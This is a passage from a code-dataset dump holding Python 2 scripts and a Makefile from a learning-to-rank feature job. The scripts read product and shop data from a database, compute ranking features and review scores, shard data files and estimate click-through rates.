packages=['pyfacebook', 'pyfacebook.djangofb',\\n 'pyfacebook.djangofb.default_app'])\\n\"\n }\n]","isConversational":false},"num_files":{"kind":"number","value":1,"string":"1"}}},{"rowIdx":2978390,"cells":{"repo_name":{"kind":"string","value":"magicbupt/ltr_feartures_compute_job"},"repo_url":{"kind":"string","value":"https://github.com/magicbupt/ltr_feartures_compute_job"},"snapshot_id":{"kind":"string","value":"ba8e300d5b435958f2e4fd8d8c8e147693e683d3"},"revision_id":{"kind":"string","value":"aa6e5b504248cf1ba95ce7fd770a370fe618ca7d"},"directory_id":{"kind":"string","value":"284205b7cc98f8368fd44957e0cfa9ad988643ad"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2019-01-22T00:07:44.576068","string":"2019-01-22T00:07:44.576068"},"revision_date":{"kind":"timestamp","value":"2013-11-19T03:44:09","string":"2013-11-19T03:44:09"},"committer_date":{"kind":"timestamp","value":"2013-11-19T03:45:47","string":"2013-11-19T03:45:47"},"github_id":{"kind":"number","value":14513331,"string":"14,513,331"},"star_events_count":{"kind":"number","value":1,"string":"1"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_language":{"kind":"null"},"files":{"kind":"list like","value":[{"alpha_fraction":0.6293714046478271,"alphanum_fraction":0.6432049870491028,"avg_line_length":26.542682647705078,"blob_id":"8a8e66ed0e6cb503817860b5c62c7b9c44791308","content_id":"d87bdeb465c81164e26e4af709c66f774e88ec17","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":9036,"license_type":"no_license","max_line_length":110,"num_lines":328,"path":"/bin/get_product_info.py","repo_name":"magicbupt/ltr_feartures_compute_job","src_encoding":"UTF-8","text":"#!/usr/bin/env python\n#encoding:utf-8\n\nimport sys\nreload(sys)\nsys.setdefaultencoding('utf-8')\n\nimport os\nimport re\nimport time, datetime\nimport math\nfrom ConfigParser import RawConfigParser\nfrom ConfigParser import *\n\nsys.path.append('../lib')\nimport logging\nimport logging.config\nfrom mail_sender import MailSender\nfrom data_access_object import DataObject\nfrom db_factory import DBFactory\n\n\nclass ProductInfo(object):\n\tdef __init__(self, conf_path = '..'):\n\t\t'''\n\t\tinit\n\t\t'''\n\t\t#db redis config file position\n\t\tself.conncfg = '%s/conf/connect.cfg' % (conf_path)\n\t\t#log config file\n\t\tself.logcfg = '%s/conf/logger.conf' % (conf_path)\n\t\tlogging.config.fileConfig(self.logcfg)\n\t\tself.logger = logging.getLogger('log')\n\t\t#other config such as email recivers\n\t\tself.filecfg = '%s/conf/main.cfg' % (conf_path)\n\t\tself.fileconfig = RawConfigParser()\n\t\tself.fileconfig.read(self.filecfg)\n\t\t#sql config file\n\t\tself.sqlcfg = '%s/conf/sql.cfg' % (conf_path)\n\t\tself.config = RawConfigParser()\n\t\tself.config.read(self.conncfg)\n\t\tself.sqlfig = RawConfigParser()\n\t\tself.sqlfig.read(self.sqlcfg)\n\t\t#connect db redis\n\t\tself.conn_search_db = self.connDbserver('search_v3_view')\n#\t\tself.conn_redis = self.connRedis()\n\t\tself.sql = self.sqlfig.get('select', 'select_product_info')\n\t\t# config email info\n\t\tself.mail_recivers = self.setMailReceiver('email', 'receiver')\n\t\tself.mail_sender = MailSender()\n\t\t#product info\n\t\tself.pid_info = {}\n\t\tself.pid_day_uv = {}\n\t\tself.pid_week_uv = {}\n\t\tself.pid_month_uv = {}\n\n\n\tdef readUV(self, filepath, dt):\n\t\tfile = None\n\t\ttry:\n\t\t\tfile = open(filepath, 'r')\n\t\t\twhile True:\n\t\t\t\tline = file.readline()\n\t\t\t\tif not line:\n\t\t\t\t\tbreak\n\t\t\t\tarray = line.strip().split()\n\t\t\t\tif len(array) != 2:\n\t\t\t\t\tcontinue\n\t\t\t\tpid = str2int(array[0])\n\t\t\t\tuv = str2int(array[1])\n\t\t\t\tdt[pid] = uv\n\t\texcept Exception,ex:\n\t\t\tprint ex\n\t\tfinally:\n\t\t\tif file:\n\t\t\t\tfile.close()\n\n\tdef getUV(self, pid, dt):\n\t\tif pid in dt:\n\t\t\treturn dt[pid]\n\t\treturn 0\n\t\t\n\tdef setMailReceiver(self,section = 'email', part = 'receiver'):\n\t\temail_list = self.fileconfig.get(section,part).split(',')\n\t\tmail_receiver = []\n\t\tlenght = len(email_list)\n\t\tfor i in range(lenght):\n\t\t\temail = email_list[i].strip(' ')\n\t\t\tif email == '':\n\t\t\t\tcontinue\n\t\t\tmail_receiver.append(email)\n\t\treturn mail_receiver\n\n\tdef connDbserver(self, section = 'antifraud_conn'):\n\t\tdbserver = None\n\t\ttry:\n\t\t\tdbtype = self.config.get(section, 'dbtype')\n\t\t\thost = self.config.get(section, 'host')\n\t\t\tport = self.config.get(section, 'port')\n\t\t\tuser = self.config.get(section, 'user')\n\t\t\tpassword = self.config.get(section, 'password')\n\t\t\tdatabase = self.config.get(section, 'database')\n\t\t\tdbserver = DBFactory.Connect(dbtype = dbtype, host = host, database = database, \\\n\t\t\t\t\tcharset = 'utf8',user = user, password = password, port = port)\n\t\texcept Exception, ex:\n\t\t\tself.logger.error(ex)\n\t\t\tprint 'Can not connect to dbserver'\n\t\t\tself.mail_sender.sendMail(self.mail_recivers)\n\t\t\traise Exception, ex\n\t\treturn dbserver\n\n\tdef getProductInfo(self, filepath):\n\t\tsql = self.sql\n\t\tfile = None\n\t\ttry:\n\t\t\tself.conn_search_db.execute(sql)\n\t\t\tfile = open(filepath, 'w+')\n\t\t\twhile True:\n\t\t\t\tline = self.conn_search_db.fetchmany(10000)\n\t\t\t\tif not line:\n\t\t\t\t\tbreak\n\t\t\t\tfor i in range(len(line)):\n\t\t\t\t\tarray = line[i]\n\t\t\t\t\tif len(array) != 16:\n\t\t\t\t\t\tcontinue\n\t\t\t\t\tpid, is_new, is_mall, is_discount, score, discount, \\\n\t\t\t\t\t\tsale_day, n_sale, sale_month, n_keep, \\\n\t\t\t\t\t\treview_total, price, dd_price, \\\n\t\t\t\t\t\tpromo_price, n_days = self.caculateModel(array)\n\t\t\t\t\td_uv = self.getUV(pid, self.pid_day_uv)\n\t\t\t\t\tw_uv = self.getUV(pid, self.pid_week_uv)\n\t\t\t\t\tm_uv = self.getUV(pid, self.pid_month_uv)\n\t\t\t\t\tproduct_info = \"%s\\t%s\\t%s\\t%s\\t%s\\t%s\\t%s\\t%s\\t%s\\t%s\\t%s\\t%s\\t%s\\t%s\\t%s\\t%s\\t%s\" % (is_mall, is_new, \\\n\t\t\t\t\t\tis_discount, score, discount, sale_day, n_sale, sale_month, n_keep, review_total, price, dd_price,\\\n\t\t\t\t\t\tpromo_price, d_uv, w_uv, m_uv, n_days)\n\t\t\t\t\tfile.write(\"%s\\t%s\\n\" % (pid, product_info))\n\t\texcept Exception,ex:\n\t\t\tprint ex\n\t\t\tself.logger.error(ex)\n\t\t\tself.mail_sender.sendMail(self.mail_recivers)\n\t\tfinally:\n\t\t\tif file:\n\t\t\t\tfile.close()\n\t\t\tif self.conn_search_db:\n\t\t\t\tself.conn_search_db.close()\n\t\n\t\n\tdef readProductInfo(self, srcpath, n_features):\n\t\tfile = None\n\t\ttry:\n\t\t\tfile = open(srcpath, 'r')\n\t\t\twhile True:\n\t\t\t\tline = file.readline()\n\t\t\t\tif not line:\n\t\t\t\t\tbreak\n\t\t\t\tarray = line.strip(\"\\n\").split(\"\\t\")\n\t\t\t\tlenght = len(array)\n\t\t\t\tif lenght != n_features:\n\t\t\t\t\tcontinue\n\t\t\t\tpid = str2int(array[0])\n\t\t\t\tproduct_info = \"\"\n\t\t\t\tfor i in range(1, lenght):\n\t\t\t\t\tproduct_info = \"%s\\t%s\" % (product_info, array[i])\n\t\t\t\tproduct_info = product_info.strip(\"\\t\")\n\t\t\t\tself.pid_info[pid] = product_info\n\t\texcept Exception,ex:\n\t\t\tprint ex\n\t\tfinally:\n\t\t\tif file:\n\t\t\t\tfile.close()\t\t\n\t\n\tdef IsNewProduct(self, pid, first_input_date, cat_paths):\n\t\tif first_input_date==None or str(first_input_date)=='':\n\t\t\treturn 0, 0\n\t\tif cat_paths == None:\n\t\t\tcat_paths = \"01\"\n\t\t\n\t\tmall_new_days = 14\n\t\tpub_new_days = 30\n\t\tmall_time = ( datetime.datetime.now() + \\\n\t\t\t\tdatetime.timedelta(days=-mall_new_days) ).strftime('%Y-%m-%d')\n\t\tpub_time = ( datetime.datetime.now() + \\\n\t\t\t\tdatetime.timedelta(days=-pub_new_days) ).strftime('%Y-%m-%d')\n\n\t\tmall_new = int(time.mktime(time.strptime(mall_time, '%Y-%m-%d')))\n\t\tpub_new = int(time.mktime(time.strptime(pub_time, '%Y-%m-%d')))\n\t\tfirst_date = int(time.mktime(\\\n\t\t\t\ttime.strptime(first_input_date.strftime('%Y-%m-%d'), '%Y-%m-%d')))\n\n\t\tcat = cat_paths.strip().split('|')[0].split('.')[0]\n\t\t\n\t\tis_mall_product = 0\n\t\tif cat == \"58\":\n\t\t\tis_mall_product = 1\n\t\t\n\t\tif cat==\"58\" and (first_date-mall_new)>0:\n\t\t\treturn 1, is_mall_product\n\t\telif cat==\"01\" and (first_date-pub_new)>0:\n\t\t\treturn 1, is_mall_product\n\t\telse:\n\t\t\treturn 0, is_mall_product\n\t\treturn 0, is_mall_product\n\n\tdef IsDiscountProduct(self, begin_date, end_date):\n\t\tif begin_date != None:\n\t\t\tnow_date = datetime.datetime.now()\n\t\t\tif now_date >= begin_date:\n\t\t\t\tif end_date != None:\n\t\t\t\t\tif now_date <= end_date:\n\t\t\t\t\t\treturn 1\n\t\t\t\telse:\n\t\t\t\t\treturn 1\n\t\treturn 0\n\n \tdef calDiscount(self, price, dd_price, promo_price, isDiscount):\n\t\tdiscount = 0\n\t\tprice = str2float(price)\n\t\tdd_price = str2float(dd_price)\n\t\tpromo_price = str2float(promo_price)\n\n\t\tif price == 0:\n\t\t\tdiscount = 10\n\t\telse:\n\t\t\tif isDiscount == 1 and promo_price != 0:\n\t\t\t\tdiscount = promo_price/(1.0*price)*10\n\t\t\telif dd_price != 0:\n\t\t\t\tdiscount = dd_price/(1.0*price)*10\n\t\t\telse:\n\t\t\t\tdiscount = 0\n\n\t\treturn round(discount, 2), price, dd_price, promo_price\n\n\tdef productScore(self, score, total_review_count):\n\t\tif score == None:\n\t\t\tscore = 0\n\t\tif total_review_count == None:\n\t\t\ttotal_review_count = 0\n\t\tm = 100\n\t\taverage_score = 5.0\n\t\tval = (total_review_count*score + m*average_score)/(1.0*(total_review_count + m))\n\t\treturn val\n\n\tdef calSaledDays(self, input_day):\n\t\tif input_day == None:\n\t\t\treturn 1000\n\t\tnowday = datetime.datetime.now()\n\t\tdelta = nowday - input_day\n\t\treturn delta.days\t\n\n\tdef caculateModel(self, array):\n\t\tpid = str2int(array[0]) # get pid\t\t\n\t\tis_new, is_mall = self.IsNewProduct(pid, array[7], array[8]) #is new\n\t\tis_discount = self.IsDiscountProduct(array[5], array[6]) #is discount\n\t\tdiscount, price, dd_price, promo_price = self.calDiscount(array[10], \\\n\t\t\t\t\tarray[11], array[12], is_discount) # discount\n\t\tn_keep = str2int(array[4]) #keep num\n\t\tn_sale = str2int(array[1]) #sale num\n\t\tscore = str2float(array[3]) # product score\n\t\treview_total = str2int(array[2]);\n\t\tsale_day = str2int(array[13]);\n\t\tsale_month = str2int(array[14]);\n\t\tn_days = self.calSaledDays(array[15])\n\t\t\n\t\treturn pid, is_new, is_mall, is_discount, score, discount, sale_day,\\\n\t\t\t\t n_sale, sale_month, n_keep, review_total, price, dd_price, promo_price, n_days;\n\n\tdef run(self, search_log_file = \"../data/product_info_\", n_features = 18):\n\t\ttry:\n\t\t\tcurday = datetime.datetime.now().strftime('%Y-%m-%d')\n\t\t\tcurday = getSpecifiedDay(curday, 1)\n\t\t\t\n\t\t\tsearch_log_file = \"%s%s\" % (search_log_file, curday.replace(\"-\", \"\"))\n\t\t\tif not os.path.exists(search_log_file):\n\t\t\t\tself.readUV(\"../data/temp_data/uv_d_%s\" % curday, self.pid_day_uv)\n\t\t\t\tself.readUV(\"../data/temp_data/uv_w_%s\" % curday, self.pid_week_uv)\n\t\t\t\tself.readUV(\"../data/temp_data/uv_m_%s\" % curday, self.pid_month_uv)\n\t\t\t\tself.getProductInfo(search_log_file)\n\t\t\tself.readProductInfo(search_log_file,n_features)\n\t\texcept Exception,ex:\n\t\t\tself.logger.error(ex)\n\t\t\tself.mail_sender.sendMail(self.mail_recivers)\t\n\n\ndef getSpecifiedDay(curday, n):\n\t'''\n\tget the n days ago\n\t'''\n\ttry:\n\t\tarray = curday.split('-')\n\t\tif len(array) != 3:\n\t\t\treturn\n\t\tyear = int(array[0])\n\t\tmonth = int(array[1])\n\t\tday = int(array[2])\n\t\tpreday = datetime.datetime(year, month, day) - datetime.timedelta(n)\n\t\treturn preday.strftime(\"%Y-%m-%d\")\n\texcept Exception ,ex:\n\t\tprint 'get preday error~~'\n\t\traise ex\n\treturn\n\ndef str2float(f_str):\n\tval = 0\n\ttry:\n\t\tval = float(f_str)\n\t\tif val < 0:\n\t\t\tval = 0\n\texcept:\n\t\tval = 0\n\treturn val\n\t\t\t\ndef str2int(i_str):\n\tval = 0\n\ttry:\n\t\tval = int(i_str)\n\t\tif val < 0:\n\t\t\tval = 0\n\texcept:\n\t\tval = 0\n\treturn val\n\n\ndef main():\n\to = ProductInfo()\n\to.run()\n\nif __name__==\"__main__\":\n\tmain()\n\n\n"},{"alpha_fraction":0.6042327880859375,"alphanum_fraction":0.6179894208908081,"avg_line_length":21.404762268066406,"blob_id":"a578a926dd31ab9174e445c5232763be874b2bd1","content_id":"9ff9464bfd83f4965efa6d1d7a72dbeb1d0680c8","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":945,"license_type":"no_license","max_line_length":76,"num_lines":42,"path":"/bin/set_thrift_server_data.py","repo_name":"magicbupt/ltr_feartures_compute_job","src_encoding":"UTF-8","text":"\nimport sys\n\nclass SetThriftData():\n\tdef __init__(self):\n\t\tself.job_name = \"thrift data\"\n\n\tdef saveData(self, srcfilepath, dispath):\n\t\tsrcfile = None\n\t\tdisfile_array = None\n\t\ttry:\n\t\t\tsrcfile = open(srcfilepath, 'r')\n\t\t\tdisfile_array = [open('%s%s' % (dispath, i), 'w+') for i in range(10000)]\n\t\t\twhile True:\n\t\t\t\tline = srcfile.readline()\n\t\t\t\tif not line:\n\t\t\t\t\tbreak\n\t\t\t\tarray = line.strip(\"\\n\").split(\"\\t\")\n\t\t\t\tpid = int(array[0])\n\t\t\t\tindex = pid%10000\n\t\t\t\tdisfile_array[index].write(line)\n\t\texcept Exception,ex:\n\t\t\tprint ex\n\t\tfinally:\n\t\t\tif srcfile:\n\t\t\t\tsrcfile.close()\n\t\t\tif disfile_array:\n\t\t\t\tfor i in range(len(disfile_array)):\n\t\t\t\t\tif disfile_array[i]:\n\t\t\t\t\t\tdisfile_array[i].close()\n\n\ndef main():\n\tif len(sys.argv) != 2:\n\t\treturn\n\tcurday = sys.argv[1]\t\n\tsrcfilepath = \"../data/product_info_%s\" % curday\n\tdispath = \"../data/thrift_data/temp_data_\"\n\to = SetThriftData()\n\to.saveData(srcfilepath, dispath)\n\nif __name__==\"__main__\":\n\tmain()\t\t\t\n"},{"alpha_fraction":0.5095056891441345,"alphanum_fraction":0.5209125280380249,"avg_line_length":11.476190567016602,"blob_id":"108dd21aa3872265593b124e59e9303e9e22bf06","content_id":"2a1f01c9510b0b27023e622427ebac7193976397","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Makefile","length_bytes":263,"license_type":"no_license","max_line_length":33,"num_lines":21,"path":"/bin/Makefile","repo_name":"magicbupt/ltr_feartures_compute_job","src_encoding":"UTF-8","text":"CC = g++ \nINCLUDE =\nBIN = \nLIB =\n \nCFLAGS = -D_GNU_SOURCE -Wall -g \n\nLDFLAGS = \nTARGET = map2hashmap\n\t\t\nall: $(TARGET)\n\t\t\n$(TARGET):map2staticmap.o\n\t$(CC) -o $@ $^ $(LIB)\n\t\t\n%.o : %.cpp\n\t$(CC) -c $(CFLAGS) $< $(INCLUDE)\n\t\t\nclean :\n\t$(RM) *.o\n\t$(RM) map2hashmap \n"},{"alpha_fraction":0.661282479763031,"alphanum_fraction":0.6693587303161621,"avg_line_length":25.852174758911133,"blob_id":"dfb235ccb09348467038c4afcbe4cedcc411a548","content_id":"33e5abc22b2581a420f44e0befb4ff19f9ca5c08","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":6191,"license_type":"no_license","max_line_length":84,"num_lines":230,"path":"/bin/get_shop_info.py","repo_name":"magicbupt/ltr_feartures_compute_job","src_encoding":"UTF-8","text":"#!/usr/bin/env python\n#encoding:utf-8\n\nimport sys\nreload(sys)\nsys.setdefaultencoding('utf-8')\n\nimport os\nimport re\nimport time, datetime\nimport math\nfrom ConfigParser import RawConfigParser\nfrom ConfigParser import *\n\nsys.path.append('../lib')\nimport logging\nimport logging.config\nfrom mail_sender import MailSender\nfrom data_access_object import DataObject\nfrom db_factory import DBFactory\n\nclass ShopInfo(object):\n\tdef __init__(self, conf_path = '..'):\n\t\t'''\n\t\tinit\n\t\t'''\n\t\t#db redis config file position\n\t\tself.conncfg = '%s/conf/connect.cfg' % (conf_path)\n\t\t#log config file\n\t\tself.logcfg = '%s/conf/logger.conf' % (conf_path)\n\t\tlogging.config.fileConfig(self.logcfg)\n\t\tself.logger = logging.getLogger('log')\n\t\t#other config such as email recivers\n\t\tself.filecfg = '%s/conf/main.cfg' % (conf_path)\n\t\tself.fileconfig = RawConfigParser()\n\t\tself.fileconfig.read(self.filecfg)\n\t\t#sql config file\n\t\tself.sqlcfg = '%s/conf/sql.cfg' % (conf_path)\n\t\tself.config = RawConfigParser()\n\t\tself.config.read(self.conncfg)\n\t\tself.sqlfig = RawConfigParser()\n\t\tself.sqlfig.read(self.sqlcfg)\n\t\t#connect db redis\n\t\tself.conn_shop_db = self.connDbserver('com_shop_review')\n\t\tself.sql = self.sqlfig.get('select', 'select_shop_info')\t\n\t\t# config email info\n\t\tself.mail_recivers = self.setMailReceiver('email', 'receiver')\n\t\tself.mail_sender = MailSender()\n\n\t\t#dict\n\t\tself.shopid_info_score = {}\n\t\tself.shopid_price_score = {}\n\t\tself.shopid_payment_score = {}\n\t\tself.shopid_deliver_score = {}\n\t\tself.shopid_package_score = {}\n\t\tself.shopid_average_score = {}\n\t\t\n\t\t#shop average score\n\t\tself.shopid_scores = {}\n\t\t\n\n\tdef setMailReceiver(self,section = 'email', part = 'receiver'):\n\t\temail_list = self.fileconfig.get(section,part).split(',')\n\t\tmail_receiver = []\n\t\tlenght = len(email_list)\n\t\tfor i in range(lenght):\n\t\t\temail = email_list[i].strip(' ')\n\t\t\tif email == '':\n\t\t\t\tcontinue\n\t\t\tmail_receiver.append(email)\n\t\treturn mail_receiver\n\n\tdef connDbserver(self, section):\n\t\tdbserver = None\n\t\ttry:\n\t\t\tdbtype = self.config.get(section, 'dbtype')\n\t\t\thost = self.config.get(section, 'host')\n\t\t\tport = self.config.get(section, 'port')\n\t\t\tuser = self.config.get(section, 'user')\n\t\t\tpassword = self.config.get(section, 'password')\n\t\t\tdatabase = self.config.get(section, 'database')\n\t\t\tdbserver = DBFactory.Connect(dbtype = dbtype, host = host, database = database, \\\n\t\t\t\t\tcharset = 'utf8',user = user, password = password, port = port)\n\t\texcept Exception, ex:\n\t\t\tself.logger.error(ex)\n\t\t\tprint 'Can not connect to dbserver'\n\t\t\tself.mail_sender.sendMail(self.mail_recivers)\n\t\t\traise Exception, ex\n\t\treturn dbserver\n\n\tdef getShopInfo(self, curday):\n\t\tsql = self.sql % curday\n\t\ttry:\n\t\t\tself.conn_shop_db.execute(sql)\n\t\t\twhile True:\n\t\t\t\tline = self.conn_shop_db.fetchmany(10000)\n\t\t\t\tif not line:\n\t\t\t\t\tbreak\n\t\t\t\tfor i in range(len(line)):\n\t\t\t\t\tarray = line[i]\n\t\t\t\t\tshopid = array[0]\n\t\t\t\t\tself.addInfoScore(shopid, array[1])\n\t\t\t\t\tself.addPriceScore(shopid, array[2])\n\t\t\t\t\tself.addPaymentScore(shopid, array[3])\n\t\t\t\t\tself.addDeliverScore(shopid, array[4])\n\t\t\t\t\tself.addPackageScore(shopid, array[5])\n\t\t\t\t\tself.addAverageScore(shopid, array[6])\t\t\t\t\t\n\t\texcept Exception,ex:\n\t\t\tprint ex\n\t\t\tself.logger.error(ex)\n\t\t\tself.mail_sender.sendMail(self.mail_recivers)\n\t\tfinally:\n\t\t\tif self.conn_shop_db:\n\t\t\t\tself.conn_shop_db.close()\n\t\n\tdef addInfoScore(self, shopid, score):\n\t\tself.addScore(self.shopid_info_score, shopid, score)\n\n\tdef addPriceScore(self, shopid, score):\n\t\tself.addScore(self.shopid_price_score, shopid, score)\n\n\tdef addPaymentScore(self, shopid, score):\n\t\tself.addScore(self.shopid_payment_score, shopid, score)\n\n\tdef addDeliverScore(self, shopid, score):\n\t\tself.addScore(self.shopid_deliver_score, shopid, score)\n\n\tdef addPackageScore(self, shopid, score):\n\t\tself.addScore(self.shopid_package_score, shopid, score)\n\n\tdef addAverageScore(self, shopid, score):\n\t\tself.addScore(self.shopid_average_score, shopid, score)\n\n\tdef addScore(self, dt, shopid, score):\n\t\tif dt == None:\n\t\t\tdt = {}\n\t\t\n\t\tif shopid not in dt:\n\t\t\tdt[shopid] = [0 for i in range(6)]\n\t\t\n\t\tif score == None or score < 0:\n\t\t\tscore = 0\n\t\tif score > 5:\n\t\t\tscore = 5\n\t\t\n\t\tscore = int(score)\t\t\n\t\tdt[shopid][score] += 1\n\t\t\t\t\n\n\tdef updataShopAllScore(self):\n\t\t'''\n\t\tcaculate all item socre's expectation for each shopid\n\t\t'''\n\t\tself.updateShopEachScores(self.shopid_info_score, \"info\")\n\t\tself.updateShopEachScores(self.shopid_price_score, \"price\")\n\t\tself.updateShopEachScores(self.shopid_payment_score, \"payment\")\n\t\tself.updateShopEachScores(self.shopid_deliver_score, \"deliver\")\n\t\tself.updateShopEachScores(self.shopid_package_score, \"package\")\n\t\tself.updateShopEachScores(self.shopid_average_score, \"average\")\t\t\n\n\tdef updateShopEachScores(self, dt, index):\n\t\t'''\n\t\tcaculate each score_item's expectation for each shopid \n\t\t'''\n\t\tE_score = 0\n\t\tn_sum = 0\n\t\tfor shopid, s_info in dt.items():\n\t\t\tE_score = 0\n\t\t\tn_sum = 0\n\t\t\tfor i in range(len(s_info)):\n\t\t\t\tn_sum += s_info[i]\n\t\t\t\tE_score += i*s_info[i]\n\t\t\t\n\t\t\tif n_sum == 0:\n\t\t\t\tE_score = 0\n\t\t\telse:\n\t\t\t\tE_score = E_score/(1.0*n_sum) \n\t\t\t\n\t\t\tR = 3.0\n\t\t\tc = 30\n\t\t\tE_score = (n_sum*E_score + c*R)/(n_sum + c)\n\t\t\tE_score\t= round(E_score, 2)\t\n\t\n\t\t\tif shopid not in self.shopid_scores:\n\t\t\t\tself.shopid_scores[shopid] = {}\n\n\t\t\tself.shopid_scores[shopid][index] = E_score\n\n\tdef saveShopScore(self, filepath):\n\t\tfile = None\n\t\ttry:\n\t\t\tfile = open(filepath, \"w+\")\n\t\t\tfor shopid, scores in self.shopid_scores.items():\n\t\t\t\tprint shopid, scores\n\t\t\t\tfile.write(\"%s\\t%s\\t%s\\t%s\\t%s\\t%s\\t%s\\n\" % (shopid, scores['info'], \\\n\t\t\t\t\tscores['price'],scores['payment'], scores['deliver'],\\\n\t\t\t\t\tscores['package'], scores['average']))\n\t\texcept Exception,ex:\n\t\t\tprint ex\n\t\tfinally:\n\t\t\tif file:\n\t\t\t\tfile.close()\n\n\tdef run(self, filepath):\t\n\t\t'''\n\t\t\n\t\t'''\n\t\tcurday = datetime.datetime.now() + datetime.timedelta(days=-30)\n\t\tcurday = curday.strftime('%Y-%m-%d')\t\t\n\t\tprint \"i am here 111\"\t\n\t\tself.getShopInfo(curday)\n\t\tprint \"i am here 2222\"\t\n\t\tself.updataShopAllScore()\n\t\tprint \"i am here 333\"\t\n\t\tself.saveShopScore(filepath)\n\t\tprint \"i am here 444\"\t\n\t\t\n\ndef main():\n\tprint \"go ...\"\n\to = ShopInfo()\n\n\tprint \"run ...\"\n\tfilepath = \"../data/shop_score.txt\"\n\to.run(filepath)\n\n\tprint \"end !\"\n\nif __name__ == \"__main__\":\n\tmain()\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n"},{"alpha_fraction":0.6483979821205139,"alphanum_fraction":0.6580101251602173,"avg_line_length":25.123348236083984,"blob_id":"dbbea418917b829de3ef183d8685bbefd3eab873","content_id":"99d3aad4d02891071b325943e04233e6f5287225","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":5930,"license_type":"no_license","max_line_length":80,"num_lines":227,"path":"/bin/caculate_features_for_model.py","repo_name":"magicbupt/ltr_feartures_compute_job","src_encoding":"UTF-8","text":"#!/usr/bin/env python\n\nimport sys\nreload(sys)\nsys.setdefaultencoding('utf-8')\n\nimport math\nfrom ConfigParser import RawConfigParser\nfrom ConfigParser import *\n\nsys.path.append('../lib')\nsys.path.append('lib')\nimport logging \nimport logging.config\nfrom mail_sender import MailSender\n\nclass CaculateFeatures4Model():\n\tdef __init__(self, conf_path = '..', feature_num = 18):\n\t\tself.feature_num = feature_num\n\t\t#other config such as email recivers\n\t\tself.filecfg = '%s/conf/main.cfg' % (conf_path)\n\t\tself.fileconfig = RawConfigParser()\n\t\tself.fileconfig.read(self.filecfg)\n\t\t# config email info\n\t\tself.mail_recivers = self.setMailReceiver('email', 'receiver')\n\t\tself.mail_sender = MailSender()\n\n\t\tself.feature_index = {}\n\t\tself.classify_index = {}\n\t\tself.weight_index = {}\n\t\tself.weight_value = {}\n\t\tself.product_info = {}\n\t\tself.product_norm_info = {}\n\t\tself.setFeatureAndClassifyIndex()\n\n\tdef setMailReceiver(self,section = 'email', part = 'receiver'):\n\t\temail_list = self.fileconfig.get(section,part).split(',')\n\t\tmail_receiver = []\n\t\tlenght = len(email_list)\n\t\tfor i in range(lenght):\n\t\t\temail = email_list[i].strip(' ')\n\t\t\tif email == '':\n\t\t\t\tcontinue\n\t\t\tmail_receiver.append(email)\n\t\treturn mail_receiver\n\n\tdef setFeatureAndClassifyIndex(self, section=\"index\"):\n\t\tfeature_list = self.fileconfig.get(section,\"feature_index\").strip().split(',')\n\t\tlenght = len(feature_list)\n\t\tfor i in range(lenght):\n\t\t\tarray = feature_list[i].strip().split(':')\n\t\t\tfeature_index = int(array[0])\n\t\t\tfeature_name = array[1].strip()\n\t\t\tself.feature_index[feature_index] = feature_name\n\n\t\tclassify_list = self.fileconfig.get(section,\"classify_index\").split(',')\n\t\tlenght = len(classify_list)\n\t\tfor i in range(lenght):\n\t\t\tarray = classify_list[i].strip().split(':')\n\t\t\tclassify_index = int(array[0])\n\t\t\tclassify_name = array[1].strip()\n\t\t\tself.classify_index[classify_name] = classify_index\n\n\t\tweight_list = self.fileconfig.get(section,\"weight_index\").split(',')\n\t\tlenght = len(weight_list)\n\t\tfor i in range(lenght):\n\t\t\tarray = weight_list[i].strip().split(':')\n\t\t\tweight_index = int(array[0])\n\t\t\tweight_name = array[1].strip()\n\t\t\tself.weight_index[weight_index] = weight_name\n\n\tdef initWeights(self, filepath):\n\t\tfile = None\n\t\ttry:\n\t\t\tk = 0\n\t\t\tfile = open(filepath, 'r')\n\t\t\twhile True:\n\t\t\t\tline = file.readline()\n\t\t\t\tif not line:\n\t\t\t\t\tbreak\n\t\t\t\titem_name = self.weight_index[k]\n\t\t\t#\tprint item_name\n\t\t\t\tself.weight_value[item_name] = float(line.strip())\n\t\t\t\tk += 1\n\t\texcept Exception,ex:\n\t\t\tself.logger.error(ex)\n\t\t\tself.mail_sender.sendMail(self.mail_recivers)\n\t\t\traise Exception, ex\t\t\n\t\tfinally:\n\t\t\tif file:\n\t\t\t\tfile.close()\n\n\tdef normalizedFeature(self, val, max_val = 2209, is_log = True):\n\t\tif val > max_val:\n\t\t\treturn 1\n\t\tif val <= 0:\n\t\t\treturn 0\n\n\t\tif is_log:\n\t\t\tval = math.log(val + 1)\n\t\t\tmax_val = math.log(max_val + 1)\n\t\treturn val/max_val\n\n\tdef loadLogData(self, srcfilepath, disfilepath):\n\t\tsrcfile = None\n\t\tdisfile = None\n\t\ttry:\n\t\t\tsrcfile = open(srcfilepath, \"r\")\n\t\t\tdisfile = open(disfilepath, \"w+\")\n\t\t\tdefault_ctr = 1.0/(1 + math.exp(- self.weight_value['bias']))\n\t\t\tdisfile.write(\"%s\\t%s\\n\" % (-1, default_ctr))\n\t\t\twhile True:\n\t\t\t\tline = srcfile.readline()\n\t\t\t\tif not line:\n\t\t\t\t\tbreak\n\t\t\t\tarray = line.strip(\"\\n\").split(\"\\t\")\n\t\t\t\tlenght = len(array)\n\t\t\t\tif lenght != self.feature_num:\n\t\t\t\t\tcontinue\n\n\t\t\t\tpid = str2int(array[0])\n\t\t\t\tpid_feature = {}\n\t\t\t\tfor i in range(1, self.feature_num):\n\t\t\t\t\titem_name = self.feature_index[i - 1]\n\t\t\t\t\tval = round(str2float(array[i]), 3)\n\t\t\t\t\tpid_feature[item_name] = val\n\t\t\t\n\t\t\t\tpid_process_feature = self.featureProcess(pid_feature)\n\t\t\t\tpid, ctr = self.estimateCTR(pid, pid_process_feature)\n\t\t#\t\tself.product_info[pid] = pid_feature\n\t\t#\t\tself.product_norm_info[pid] = pid_process_feature\n\t\t\t\t\t\t\n\t\t\t\tdisfile.write(\"%s\\t%s\\n\" % (pid, ctr))\n\t\texcept 